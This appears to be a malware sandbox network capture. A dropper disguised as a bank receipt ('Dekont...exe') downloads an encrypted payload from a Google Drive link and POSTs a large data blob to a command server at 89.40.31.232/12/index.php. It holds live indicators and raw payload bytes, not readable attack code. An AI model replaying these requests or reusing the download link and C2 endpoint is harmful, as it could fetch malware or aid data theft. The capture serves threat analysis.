Nov 4, 2024 16:52:36.960175991 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 15:52:36 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 34 34 32 61 64 0d 0a ef bb bf 31 69 f6 41 59 bb 7f 41 b1 7e 78 83 74 79 bc 46 7d f8 46 59 99 66 72 86 77 47 bd 40 60 9d 3d 46 a2 44 3b 85 4e 3e fa 42 5e b8 5b 5f bf 3d 41 f4 22 69 f6 31 64 f6 a4 1f 91 21 af de 10 7c 69 06 17 aa aa 1d 9d 21 a1 c2 53 78 6f 04 5f e4 a9 5e d5 3d ef 9d 13 6f 6c 04 00 84 9f ff f8 0f c2 ad 3d 0f 00 68 3a 36 3a 6f f8 b4 c2 ad 3d 0b 00 68 3a 89 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a 71 c5 6f f8 02 dd 17 33 0b b4 61 f7 e8 7d 6e b4 c1 e3 f9 55 62 73 48 4a bb aa 08 8a 6d af 8d 5e 6a 6e 06 55 bd e5 0d 9d 2c b0 d8 53 2b 69 06 1a 8d 8a 3c d8 61 ad c9 58 25 0d 65 30 ed c5 6f f8 0c c2 ad 3d d0 6d 63 fb 56 c9 0a 6a 93 ce c8 af 94 0c 0d a8 25 ab 0a 6b 92 ce c8 af e7 6e 09 a9 54 c9 0a 6a e0 ac 37 af 95 0c 0d a8 25 ab 08 6b 92 ce c8 af 59 69 0b 52 56 c9 0a 6a 5c 87 ad 3d 47 01 6a 3a 48 7f 4d 54 0c c2 ad 3d 0b 00 68 3a 29 c5 6d d9 07 c3 a3 37 0b 06 68 3a c9 c1 6f f8 0c c2 ad 3d 0b 00 68 3a c9 d5 6f f8 0c e2 ad 3d 0b 00 [TRUNCATED] Data Ascii: 4442ad1iAYA~xtyF}FYfrwG@`=FD;N>B^[_=A"i1d!\|i!Sxo_^=ol=h:6:o=h:o=h:o=h:o=h:qo3a}nUbsHJm^jnU,S+i<aX%e0o=mcVj%knTj7%kYiRVj\=Gj:HMT=h:)m7h:o=h:o=h*o=h:o=h:o=Jh:/=h:=h:o= h:o= h:9o=h:o4=h:o=_h:o=h:o=h:o=h:o=h:o=h:o=h:x= h:o=h:o=h:o"Ohh:9o=h:o=h:oL}h:HMT=h:oX=_h:oxh:oh=h:Yo=Jo=h:o=YS,i;b0LPf=jpBe^drcg1EAh=h:oX=%r[oX=h:xGqzXo= h:x= h:o"Oh$Xol=h:oh:o=h:oxh:}o=h:o$=kh:Qo=h:o[=h:o=h:oc=h:o=h:o=h:o=h:,o=>h:o=h: [TRUNCATED]
Nov 4, 2024 16:52:36.960201025 CET	1236	IN	Data Raw: c2 a8 3d 0d 00 6f 3a c1 c5 66 f8 06 c2 a6 3d 07 00 65 3a a8 b5 06 d5 61 b1 80 4a 62 6e 45 59 a6 b7 0a d5 6f ad c3 4e 64 6c 0d 17 a5 f4 42 c9 21 f2 83 59 67 6c 68 7b a5 a9 00 9b 4f ad c3 4e 64 6c 0d 3a a2 a0 1d 96 69 ae 9e 0f 25 41 04 56 a6 a6 2c Data Ascii: =o:f=e:aJbnEYoNdlB!Yglh{ONdl:i%AV,bQn/_XHPhQ`Ley`mGNcpdd:i%GNcpdd:cRge'OOVnr_]K~dnU xIHPh}!aODf+UiM~t-LO
Nov 4, 2024 16:52:36.960216999 CET	424	IN	Data Raw: c2 e2 3d 45 00 37 3a 80 c5 21 f8 4a c2 e2 3d 0b 00 68 3a 74 c1 80 06 0c c2 ac 3d 0b 00 62 3a c6 c5 c4 c7 0c c2 a7 3d 04 00 c3 05 f6 c5 6f f8 0c c2 ad 3d 0f 00 6c 3a cb c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 ec c0 ad 3d 0a 00 3b 3a bd c5 1d Data Ascii: =E7:!J=h:t=b:=o=l:o=h:o=;:e=l.:i=e:o=X:_5=?*:o@=+:\|=e:a=h:o=d:x=H:c=j:b=Cx:)e=n,:o=b:c=
Nov 4, 2024 16:52:36.960223913 CET	1236	IN	Data Raw: 00 1b 3a ac c5 1b f8 7f c2 d9 3d 7e 00 0a 3a c9 c5 6f f8 8c c2 83 3d 0a 00 24 3a ac c5 08 f8 6d c2 c1 3d 48 00 07 3a b9 c5 16 f8 7e c2 c4 3d 6c 00 00 3a bd c5 6f f8 a5 c2 8d 3d 46 00 01 3a aa c5 1d f8 63 c2 de 3d 64 00 0e 3a bd c5 4f f8 4f c2 c2 Data Ascii: :=~:o=$:m=H:~=l:o=F:c=d:OO=y:m=b:A,=g:e=c:O~=x:i=%h:d=y:b=g.:i=j:om=b:=~:of=8:h=h:a=h:
Nov 4, 2024 16:52:36.960230112 CET	1236	IN	Data Raw: 2d 42 02 be a3 54 30 3f 62 fc 9a 87 82 63 b9 91 91 4b 04 18 30 8f 2d 07 8b 0d a2 e4 df 9a db 34 16 f4 9a df 59 12 eb c8 2d b3 e7 83 09 b6 2c 94 02 6b 3b c9 c4 cc 7a 0d cb 9d bf 0a 05 58 27 cf c6 3a e5 02 c6 bb 39 1f e5 0f 0c 9c 9a df 01 5e 07 01 Data Ascii: -BT0?bcK0-4Y-,k;zX':9^vn]A;Uu_:\|V z_ %&XKbHhN@ofiHxRf/Q`OddY@eRxoN_P{P+{<5 i?nw;Hn2n?<N
Nov 4, 2024 16:52:36.960237026 CET	1236	IN	Data Raw: 5c 58 29 cf c6 3a e5 29 c6 a1 0d 01 06 60 11 cf c4 6a fd 0b c1 ae 0d 16 06 6b 6f d4 cb 6b ee 08 d6 23 d5 66 0f 19 79 27 1c 50 bc a5 aa 89 68 ff e5 a2 5a e7 f2 5f a9 0a c1 f8 20 1a 04 22 0a 81 61 29 c8 48 f3 a1 0d 01 06 6b 6f cd ce 7c fb 4d 8d ee Data Ascii: \X):)`jkok#fy'PhZ_ "a)Hko\|M?0Z<k28Xjm-_B>j6]^V92fpX,IXi\{Xl:F0#e(~II{:GaOds\aVb/Hc^sGw,hZ[C)e
Nov 4, 2024 16:52:36.960304022 CET	636	IN	Data Raw: 30 75 3c ca 90 72 f6 08 d4 a9 29 c0 11 80 f0 1b 71 79 a0 0d 0b 9a 13 38 16 7e 83 85 5f 65 e7 3c c9 ab 3e 5e 1d 67 3e cd c6 6d f9 8a f2 bf 3b 02 2b 6e 3b cd c4 ed cf 19 c3 a9 38 09 03 69 3a c8 f5 4c fe 05 e9 ab 3c 0f 01 ea 0d dc c7 6b ee 08 d6 50 Data Ascii: 0u<r)qy8~_e<>^g>m;+n;8i:L<kP:NCP`ldT_;im=X:,M;Uu_`(lR>Sc-a_ !*XOb4hN@ofiHxRf/Q`OddY@eRxoNoI%cV
Nov 4, 2024 16:52:36.960309982 CET	1236	IN	Data Raw: f3 04 f0 08 29 1f 5b 5b 50 fa 40 9f 8d c8 21 81 c6 35 0f c3 61 ca 37 7f a5 5e d7 e4 ea 78 30 ea b0 9a 2f ff 6f d9 06 ae 47 96 aa be 4f 9e 2b 6e 1e 66 b0 14 d5 b1 9c f8 ad 63 7b df d3 7f d3 b0 01 6b 4c df 39 81 e2 14 8a f6 96 c3 3e 7c df 4c 6f 49 Data Ascii: )[[P@!5a7^x0/oGO+nfc{kL9>\|LoI\|risBt$v4f'a'Gx]!\HQ"kb2h6g~A?JbWGYS1CiGAUeY;xg.X*?a~R
Nov 4, 2024 16:52:36.960321903 CET	1236	IN	Data Raw: 05 6f 39 c1 f5 62 fe 05 e8 2b 75 8d f7 65 3b c8 c0 6a f8 0f 40 af 3c 0b 10 ff b0 0a 99 6c bc 3a 1f 44 89 a6 77 b3 f4 b0 94 22 f9 bd ec d9 4c 50 6d 64 29 62 0b d1 83 83 7a 83 e9 19 a2 e4 57 ab 7d 38 fa c7 8c 8d 2e 5b 99 b5 40 89 27 38 43 a3 9a 37 Data Ascii: o9b+ue;j@<l:Dw"LPmd)bzW}8.[@'8C7!ie~AFj0OXubWxS)p5!a"Z:p"X89]>'h>;aAvYd0{vNED}FvAgse4aew)T
Nov 4, 2024 16:52:36.960329056 CET	1236	IN	Data Raw: 82 6a 1e cf cc 45 7e 44 44 5a 30 0a 09 6e 0b 4b c7 7a c8 8e c0 bc 3f 0a 01 58 bb 47 f5 18 c9 07 f2 a4 3b 08 55 6c 3c da c7 3a ab 3d d1 9d 2c 0d 03 3d 3e c1 d6 65 af 6d b1 c5 54 65 67 1c 55 a7 f4 7f c8 02 c4 ae 68 0f 07 7b 3d 9b a0 0b 95 63 ac c9 Data Ascii: jE~DDZ0nKz?XG;Ul<:=,=>emTegUh{=c0t<kThrIOMdrN-;Ul9"oNdf!\fpHjm?=8~"R=j'gi&Di3d+ue;_C7j<0QZ=g;#n3
Nov 4, 2024 16:52:36.967111111 CET	1236	IN	Data Raw: f0 1e 98 14 56 87 60 e8 a0 fc 60 df cd 95 1d 15 b2 ad 6a bf c6 51 07 2b de a9 8e d7 89 86 30 2b 30 33 10 c4 69 67 99 0c 7a cc 5a b9 5b 54 a3 89 9e fa e0 80 b1 af 7c 7e a2 93 8d a3 05 b5 d9 4c 06 7f b6 b7 cd 1b 41 bf 62 b5 d9 c5 99 db 91 cf e3 b7 Data Ascii: V``jQ+0+03igzZ[T\|~LAbX\|pi0Bi:fv/<}0w<r+C<nz;<C<j ='y#NK!8;aM>,JXrm_=7=>lC;2n9j'36]>&eZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	59475	89.40.31.232	80	5308	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 16:52:42.197503090 CET	164	OUT	POST /12/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 89.40.31.232 Content-Length: 65655 Cache-Control: no-cache
Nov 4, 2024 16:52:42.197578907 CET	11124	OUT	Data Raw: 31 63 a6 6b 65 8c 5b 32 8b 4b 3b f8 3c 27 f8 38 39 89 20 3e fc 34 32 e5 34 32 9e 4c 27 8d 4c 48 fb 3a 3b f1 4c 3a f0 35 5d e5 5b 4c f1 4c 32 8a 3a 4b 8c 20 3a 8e 4c 3a e5 39 32 f1 34 27 8a 39 58 8c 20 4e f0 3d 3a fe 3a 39 f0 49 5b 8b 49 34 8e 4c Data Ascii: 1cke[2K;<'89 >4242L'LH:;L:5][LL2:K :L:924'9X N=::9I[I4L/:K>>>>(8(9(9(9(9(9(9(9(9(8L/:K>=>>>;>:>=?N>3(9(9(9(9(9L/I/?/:/?/=/</?L>>>=(9(9(8(9q]cnzy?:>;>:?:c~zdyqr><
Nov 4, 2024 16:52:42.202472925 CET	1236	OUT	Data Raw: 26 2a 68 91 06 52 25 29 eb 18 bb 49 0e cf b8 ec a7 de 34 47 02 e4 e5 50 98 43 b9 94 cb d4 70 33 32 5e 1f a6 68 87 24 cf c1 e5 d1 70 b9 5a 4f cd 91 74 31 45 58 f5 4f fc 25 f5 58 7d 88 b1 d4 99 ed 1e 8e 69 a6 4b 3c 9f 93 fa 5a 7a dd 32 da f6 07 58 Data Ascii: &hR%)I4GPCp32^h$pZOt1EXO%X}iK<Zz2Xih2LY9=T.KC(Z+}D(p/z@#B;3\[C%Chf]ZdJK3[kg7_,VDyL(D$r<Gy<lbDyr0U$
Nov 4, 2024 16:52:42.202507019 CET	4944	OUT	Data Raw: 87 22 d0 99 5b 8f df 8a c2 25 a8 48 01 58 9a 87 22 c9 25 a8 42 0b 1e 99 48 0a dc 99 be 5c 0d 5b 83 44 4a cd 19 5b 88 16 fe 4c ec 43 3c a8 aa 1c 93 43 96 44 27 51 d7 d5 25 7f 09 3e 7f 95 b9 71 a5 fc f1 ea 27 d0 e1 4d e4 41 c5 c2 92 a4 91 77 5f e1 Data Ascii: "[%HX"%BH\[DJ[LC<CD'Q%>q'MAw_Oi=;9Wahla{5TI#`)\|"`N'Sb~j;gg.#PqD(tt<@K*iVfX8uij0N&Veyn]4]z\|Bii9<gg+
Nov 4, 2024 16:52:42.202548981 CET	4944	OUT	Data Raw: 50 ce bb c0 46 c0 30 07 8b 86 df a8 5f ef 8e df 8e b4 8e 87 57 7a bd a2 9f 3f ad 51 3b 01 2a 2e 1f 79 16 7e 65 f9 a2 25 65 de 26 3b 84 3f 8a 80 31 08 68 8e f2 d6 b9 98 95 3c b3 de e2 06 c6 db db 81 21 af eb 58 d5 e8 5f 48 b4 ad 7a f9 c2 b4 b5 a4 Data Ascii: PF0_Wz?Q;*.y~e%e&;?1h<!X_HzlK]Aof7#de6gW[.#v9zpX^H4w~8/)FX^.;<NcvqK\|Qj;Xi43W%PJ
Nov 4, 2024 16:52:42.202620029 CET	7416	OUT	Data Raw: 8f ea 4e 07 5d 7e 7f 42 2f 10 f0 b9 44 65 fa 51 c7 e8 87 d0 25 bb 4a ac 1c 23 c4 e1 7d e0 ed 8f 3f f9 e7 9d e9 7b ec dc 92 69 9e c3 3a c1 58 13 44 d6 db 9f cb 09 e8 b8 c9 f6 a9 d0 10 63 ee 01 f4 ac 7c 51 82 bc c3 c7 99 46 5a 0b 29 2e 5e 94 dc 72 Data Ascii: N]~B/DeQ%J#}?{i:XDc\|QFZ).^r}n68\VM oW4ybCi^)d,-_vX@$G?a.`GuF%w5"-5*Q/:jyb+sarCaUizG2S)kjWgB.J8y\|bJy 8T
Nov 4, 2024 16:52:42.202718973 CET	4944	OUT	Data Raw: 7c 9e e4 c7 a5 46 16 0e 47 e4 5a 1f 59 fa 5f ba 98 12 66 33 ad 5b 9b 10 3f 9e 26 c9 88 fa d4 c5 fd c0 d7 13 44 63 f1 87 4f ad ee 21 73 14 29 38 2a d8 72 bd d2 46 72 78 93 93 74 fb 05 a3 67 64 07 40 65 a8 42 e0 36 18 af 80 e0 0d a8 42 25 0a 6a 87 Data Ascii: \|FGZY_f3[?&DcO!s)8*rFrxtgd@eB6B%j"B"j$#%H\O[%B"jIMH/ /]Zm"hkH\O[$cB%\\O[H;AHO\|[BG#HXM_Zej7Lc
Nov 4, 2024 16:52:42.207412004 CET	4944	OUT	Data Raw: 25 a8 42 6d 1e be af 80 c8 25 a8 42 0d 22 6a 87 0a e0 af 80 c8 47 22 6a 8d 00 82 57 22 d0 99 58 1a 5d 0b 8d 19 5a c9 48 1e 98 0c 4f dc 5d 0b 8d 19 5a c9 44 41 81 4d c8 42 25 aa cc af 80 e0 0d a8 42 24 86 e0 af 80 c8 24 23 a0 ad 0e 6a 87 22 c8 af Data Ascii: %Bm%B"jG"jW"X]ZHO]ZDAMB%B$$#j"JHO^j"lB%"ho[DF"hj[W<`5]j5ABBBW@%B"ji%H"ja"i{dbvE=n#EHFM##Mj
Nov 4, 2024 16:52:42.207453012 CET	7416	OUT	Data Raw: 00 a1 13 f1 da 00 18 c2 e9 bf aa 63 8e d2 4a 3d 60 05 18 54 02 10 82 3e f8 31 5d b1 a1 6b 29 87 2e 4d 4e 53 7a 29 88 81 b5 e6 7c 8a 9f 0e a3 21 e6 5b 43 1a 25 eb 31 af 34 ea 05 e6 e3 7d f8 c3 04 b7 1e 5d a0 a8 e6 a1 e2 68 76 be 5c 1e eb 23 75 a9 Data Ascii: cJ=`T>1]k).MNSz)\|![C%14}]hv\#uN%i3lJ_O:^KX_\3n}("j"hB%B@%HB%j"jB%"hlO]##GB#k3_[\|#\|OipGl&
Nov 4, 2024 16:52:42.207483053 CET	2472	OUT	Data Raw: d7 8f 24 ba 40 6f 2c 3b 7d 72 1a e2 f8 ea c3 aa d6 cd 0d 0b db 0d 0d a6 00 19 52 be dc 25 89 2a 26 b9 b8 8f 2c 4f dc 5a a4 b4 c5 5b 8d 19 0a 5d be ab 0d ea d3 17 4e 96 b1 87 1d f7 5d 4f ab 5b e5 4e b3 e7 0f d8 75 65 7e 68 55 a4 97 70 08 70 17 2b Data Ascii: $@o,;}rR%&,OZ[]N]O[Nue~hUpp+5iGp,AAX}1])x!eU]+]#lc$5t@qOc_7T$L>pv',1Mly/O[\UI-in~H /LZ)W`bj
Nov 4, 2024 16:52:42.208646059 CET	16215	OUT	Data Raw: ba d9 91 8d 84 ed 7f 2f 9d 61 2e 53 96 13 d0 c4 58 c7 ab 4c b6 af 97 a1 7c 13 1c 20 d0 be 62 bb 6a 56 bb ad 5f 46 ba 4b 0d e8 6e ad cd 43 31 b5 08 57 c0 ae a8 47 c7 9d a2 8c 8a 6b 12 40 57 a7 24 2d f2 0a a0 46 bb 5a 68 73 3c f5 67 2a 55 92 ec 7f Data Ascii: /a.SXL\| bjV_FKnC1WGk@W$-FZhs<g*U(\|PGxdNGM"hs95A^Vj!lB%"hB%HO]ZDO[_B%j"[\_=DZlB%lIO]%B"j
Nov 4, 2024 16:52:43.159843922 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 15:52:42 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 5 Content-Type: text/html; charset=UTF-8 Data Raw: ef bb bf 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	59471	216.58.206.78	443	5308	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 15:52:31 UTC	216	OUT	GET /uc?export=download&id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-11-04 15:52:31 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 04 Nov 2024 15:52:31 GMT Location: https://drive.usercontent.google.com/download?id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-mWs3KNd_NiV2TK_BPAbUww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	59472	142.250.185.97	443	5308	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 15:52:32 UTC	258	OUT	GET /download?id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-04 15:52:34 UTC	4914	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="Rtpfvc99.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 115264 Last-Modified: Sun, 03 Nov 2024 21:08:02 GMT X-GUploader-UploadID: AHmUCY3-setcD3_mocEaQfOUY717AaiMIp2uM3EVWuSn2lnbuy2luOT9R7aKJ2Hg4zjCXR1oKxYOuZJUmw Date: Mon, 04 Nov 2024 15:52:34 GMT Expires: Mon, 04 Nov 2024 15:52:34 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=7Z7QrA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-04 15:52:34 UTC	4914	IN	Data Raw: 6f d7 2a 2f 93 59 72 f1 08 34 ba 76 a3 0f d5 01 6b b3 ca ec 26 f4 55 d5 0f cf 3f ef 39 2f 33 03 66 0c 98 c4 01 3d 66 5c 3d 5d 6e 1c b7 fb 74 ba 90 b6 31 37 6a a1 e1 97 b8 1d 5b 7c 79 76 92 8d 27 1d 24 b2 e1 13 8a 48 d6 67 54 ea 80 60 69 a1 42 bc e3 3b 40 f1 00 e8 5f d9 92 5d 45 f3 50 9c 2d 26 92 be 05 36 a4 02 24 da 24 d5 fe f7 f6 08 19 98 8e 42 d8 e3 ac 7f 8e 54 6d fb a4 19 d8 a0 f3 e9 fd 87 66 8c d3 69 4f 35 9f 1a 1f 2c d8 56 75 f6 95 d3 bd f5 a1 c5 ca cd b7 73 f3 0c 8f 5b d1 95 e1 70 ea 11 19 ba f2 35 7b 3b 12 e3 93 24 bc d0 55 17 61 e3 c3 9f b3 cc e4 b9 47 30 b0 e3 0c 6d 82 1e 45 c7 1f 24 59 7a 07 ef 90 3a 40 5e 5c cd 7f 0a b6 d1 f3 db e1 30 0f a1 f2 ae 36 d4 14 40 73 25 aa d5 0b 7b f5 22 45 b8 8b 47 dc 4e 35 42 ba 53 4d 6f 8f 58 8f d2 2f 93 9f 20 ce Data Ascii: o*/Yr4vk&U?9/3f=f\=]nt17j[\|yv'$HgT`iB;@_]EP-&6$$BTmfiO5,Vus[p5{;$UaG0mE$Yz:@^\06@s%{"EGN5BSMoX/
2024-11-04 15:52:34 UTC	4871	IN	Data Raw: e5 b3 6e 62 82 fa d6 4a c5 c6 bb 16 8c 60 c1 2d 44 37 62 05 6e 08 82 04 aa 35 a6 bb 20 0f 29 23 12 5e 44 8e 14 19 3b a2 a9 9e 05 30 7d 86 63 ec 50 63 63 40 75 77 67 9e 0b 5e 44 5f a1 ba 9f 9a 1c 1c 25 89 9e bf 72 e4 a4 53 77 44 e0 1c ea b8 97 a9 53 2a cf a2 41 a0 46 2d 4f 32 4c 92 69 c7 29 38 d2 0c de b6 62 cf 40 1d b7 9a 41 3e b3 11 15 6c 83 6a 4b a8 9c 32 9d 73 16 f7 f9 df a3 69 df 88 70 f4 72 89 76 ce 70 f5 28 f8 16 92 ff ad 79 26 aa bf 02 b6 e4 7a e5 2c 1e cd 00 f2 5f b7 f9 2d 10 e6 e0 92 de 0f 73 fc 23 15 d4 82 88 59 a9 9e ba 1b 95 a5 cb e1 77 ea 2f 4d cf 7a aa 14 d0 3e a1 e7 8d 90 42 de 66 e5 49 e7 0d 50 35 35 37 9c 82 73 de 36 56 ed 7d 2d 3b 66 95 c9 e9 bd c0 a7 a2 a1 95 91 de 69 e7 d4 69 cc 26 b8 9f c5 18 62 b3 07 34 cc c4 22 e3 8e 3b 05 1b 55 b9 Data Ascii: nbJ`-D7bn5 )#^D;0}cPcc@uwg^D_%rSwDS*AF-O2Li)8b@A>ljK2siprvp(y&z,_-s#Yw/Mz>BfIP557s6V}-;fii&b4";U
2024-11-04 15:52:34 UTC	1378	IN	Data Raw: 34 e0 4d ec fd 6b 4e 23 29 1a 4c 02 3a db 63 15 c7 3e 78 a3 33 4b 65 97 94 54 3b c1 40 2f b8 6f 5a 10 9a e4 f2 1b 65 44 39 af 6a a4 74 57 03 e5 3b 6c 74 cc d7 15 16 f1 ca 2b 33 b2 17 a7 bc 97 43 b6 ad bd eb e3 91 94 33 94 a2 35 f5 0a 1d 9a 4e 8f 54 b8 97 34 e5 62 d6 79 0d 23 5b aa 33 cc d8 ec e0 9a 19 70 b6 9b bf 07 ff 47 ba 32 32 55 6f 8a 6e f0 fa ba 96 6f 48 11 71 67 89 4b bf 89 84 c4 26 fd 58 28 3d 6c 65 f8 72 09 f1 4b b2 ee 29 2e 8b 8a 56 00 f6 2b b0 2f 12 a6 79 f8 40 7b 01 1d 01 c2 c7 13 55 14 4a a2 32 da a5 3c 91 a1 c9 39 62 3f 98 17 de 80 d1 2a 30 eb 76 11 7a e3 7b e1 d8 4a 7e c4 06 17 78 b8 2b b7 c5 fe eb 20 02 a5 83 07 b9 5d 66 0f fa 0b 30 8e 0e f0 16 af 37 c9 c1 41 0b d2 68 60 29 83 ae bb be c5 b8 cd ce 1c 9c 27 7c bb 14 6c d2 8b de 06 c9 1e d6 Data Ascii: 4MkN#)L:c>x3KeT;@/oZeD9jtW;lt+3C35NT4by#[3pG22UonoHqgK&X(=lerK).V+/y@{UJ2<9b?*0vz{J~x+ ]f07Ah`)'\|l
2024-11-04 15:52:34 UTC	1378	IN	Data Raw: 15 38 55 55 23 60 ed 19 90 bc f1 f0 b4 e4 2f ad 8a f6 e9 09 08 2c 77 e9 ba d9 32 9e 54 c8 87 e6 f7 0f 09 3b 32 79 80 41 54 6f 2e d3 a2 39 ad 38 02 95 e4 cd 97 24 b9 95 33 44 eb 0b 77 5c 53 bc d4 02 06 1a 89 7c dd a1 53 f9 5f 1e de 55 d0 e9 23 dd 14 ee 80 a3 c6 16 4b 31 8c f2 09 20 26 fb e0 96 ab 62 b4 10 1e aa d7 89 4b 39 55 ca 7c 8a 50 72 18 1c 9b 63 ef e8 55 c4 18 88 ad a9 03 01 cd a7 2f ba 2c 6d 31 ed 48 4e 88 c2 17 5b 1f b6 9e 5f 3d e6 fd e4 5b 70 1b c7 3b 20 d2 fc 06 f4 e5 2d b5 8c 20 64 a1 d2 05 16 d8 94 eb 81 fa d2 5c a4 ee 16 33 41 64 b6 55 b0 37 70 3a b1 c3 be 12 a4 11 5e d5 80 bd a3 31 0a 62 7c f7 c0 49 d7 6a 8e ee e7 7b f4 31 a5 ca d5 2e 3b 9a 99 06 f5 2b a7 06 b1 02 45 2e d4 c9 ac 22 6e fa 4b c9 7c 1c b5 e5 dd 59 f6 ad c3 e7 59 f1 b1 ce 77 dc Data Ascii: 8UU#`/,w2T;2yATo.98$3Dw\S\|S_U#K1 &bK9U\|PrcU/,m1HN[_=[p; - d\3AdU7p:^1b\|Ij{1.;+E."nK\|YYw
2024-11-04 15:52:34 UTC	1378	IN	Data Raw: 80 52 28 f0 fe de 10 71 11 94 83 98 32 fe a0 42 e1 31 e9 05 4a 4c fe 6d 74 4a ef bb 73 77 82 1f 0e fb 29 3c 88 d6 a7 21 cf 9f d0 64 0f f7 d0 ff f6 1c 88 d4 ab 96 32 ec 89 a0 c3 70 d4 c1 1c 30 90 9c 95 8d dd 80 36 fa 0e 62 b2 a1 90 aa 34 c9 4d 9a a9 c4 db ae c0 c2 9a 01 d0 62 78 d8 04 0b 49 ac ee 0f ec eb 0b 3b 6f 72 ec b4 93 b2 6b be c0 6a b3 99 01 01 8f 27 d0 9b 6d 23 89 e3 af 1f da 7a c9 df f2 37 1b 89 23 0f 0a cc 9d c3 b1 5b b0 6c 04 29 9c d2 2b 88 fb 43 e2 eb 68 83 d7 53 67 0a cb 84 f5 f7 3d 8c 4c 39 68 54 14 87 0b 07 06 0d 13 9d f2 7d 64 f4 da da 2f b1 96 00 8a 69 b3 0a 2d df 74 db af 2b 64 4e 22 cc 07 c8 3a 8c e1 47 54 89 d4 46 9e f0 3d 01 f4 b0 52 87 b0 c9 08 5a 3a 7c 41 b5 e4 ef ad 91 12 cf 1f 02 36 a3 41 70 09 60 dc 23 bd aa c2 f7 19 28 60 26 37 Data Ascii: R(q2B1JLmtJsw)<!d2p06b4MbxI;orkj'm#z7#[l)+ChSg=L9hT}d/i-t+dN":GTF=RZ:\|A6Ap`#(`&7
